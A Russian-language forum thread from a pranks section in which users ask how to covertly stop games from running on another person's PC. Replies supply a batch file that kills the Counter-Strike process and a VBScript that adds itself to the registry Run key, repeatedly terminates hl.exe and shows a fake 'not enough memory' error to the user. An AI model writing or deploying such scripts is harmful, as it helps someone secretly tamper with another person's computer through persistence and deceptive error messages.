• На проекте открылась регистрация только для продавцов. Для обычных пользователей будет открыта позже. Подробнее.
    P.S. Не надо скидывать ссылки на форумы, где у вас ноль сообщений. Подобные заявки будут отклонятся.

Западлостроение Как сделать чтоб игры не шли

CHyCMyMpNk

cl_noobko 1
WebVoice
Можно как нибудь сделать так, что бы ни одна игра на компе не шла? Думал видяху выдернуть, но как то палевно... может есть по проще способ )
 

Neuromancer

Neuromancer
WebVoice
Можно попробовать запретить полноэкранные приложения. До этого все игры перевести в полный экран а все проги и видеопроигрыватели в оконный. Как это сделать через реестр без понятия. Можно так же пойти обратным путём: разрешить конкретным пользователям запускать только конкретные программы: http://www.delphimaster.net/view/7-12556/all
 

CHyCMyMpNk

cl_noobko 1
WebVoice
Не плохо было бы какую нибудь прогу, а по факту и первый вариант был бы тоже идеален )

Можно попробовать запретить полноэкранные приложения. До этого все игры перевести в полный экран а все проги и видеопроигрыватели в оконный.

Добавлено через 1 минуту 17 секунд
Хотя фиг знает, проги там тоже есть и они нужны ему в полном экране...
 
Последнее редактирование:

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Могу попробывать на СиФлюсФлюс написать прогу, которая будет убивать окно игры :)

Если надо, напиши название процесса данной игрушки ну и заголовок окна.

PS: мож завтра на свежую голову что-нить получше придумаю :)
 

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
сделай через файл, в файлике пропишу название и всё )

Решил сделать все проще, через bat файл.

Объясню на примере контрстрайка.
Открываем блокнот и в него пихаем:
Код:
start C:\Progra~1\cs\cs.exe
ping -n 20 127.0.0.1 > NUL
taskkill /f /im hl.exe
1. запускает игрушку
2. таймер, через 20 сек произойдет событие под номером 3
3. тут мы принудительно закрываем процесс hl.exe

Сохраняем все как cs.bat в папке C:\Program Files\cs\
И далее в свойствах ярлыка на рабочем столе, меняем путь на наш батник, и далее ищем в папке с игрой иконку. Сохраняем, радуемся.

PS: только одно но, при таком запуске палится окно командной строки, правда на него наверн внимания не обратят.

PS2: либо можно сделать цикл, и пихнуть в автозапуск, чтоб через каждые пол минуты завершались определенные процессы.
 

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Сделал на VBScript
Код:
For c=1 to 20
Set kill = CreateObject("WScript.Shell")
kill.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\cs", "C:\cs.vbs"
 do
 b=0
 Set objWMIService = GetObject("winmgmts:" _
     & "{impersonationLevel=impersonate}!\\.\root\cimv2")
 Set colProcessList = objWMIService.ExecQuery _
     ("SELECT * FROM Win32_Process WHERE Name = 'hl.exe'") 
 For Each objProcess in colProcessList
     objProcess.Terminate()
      b=b+1
 Next
 Loop Until b=1
 do while a<2
 a=a+1
 MsgBox"Невозможно запустить приложение! Не хватает памяти",0,"Ошибка"
 Loop
a=0
Next

Копируешь в блокнот, сохраняешь как cs.vbs после чего запускаешь :)

Все при попытке запустить КонтрСтрайк будет появляться два раза окно с предупреждением Невозможно запустить приложение! Не хватает памяти. И так будет продолжаться 20 раз, думаю ему после 10 надоест :)
 
Сверху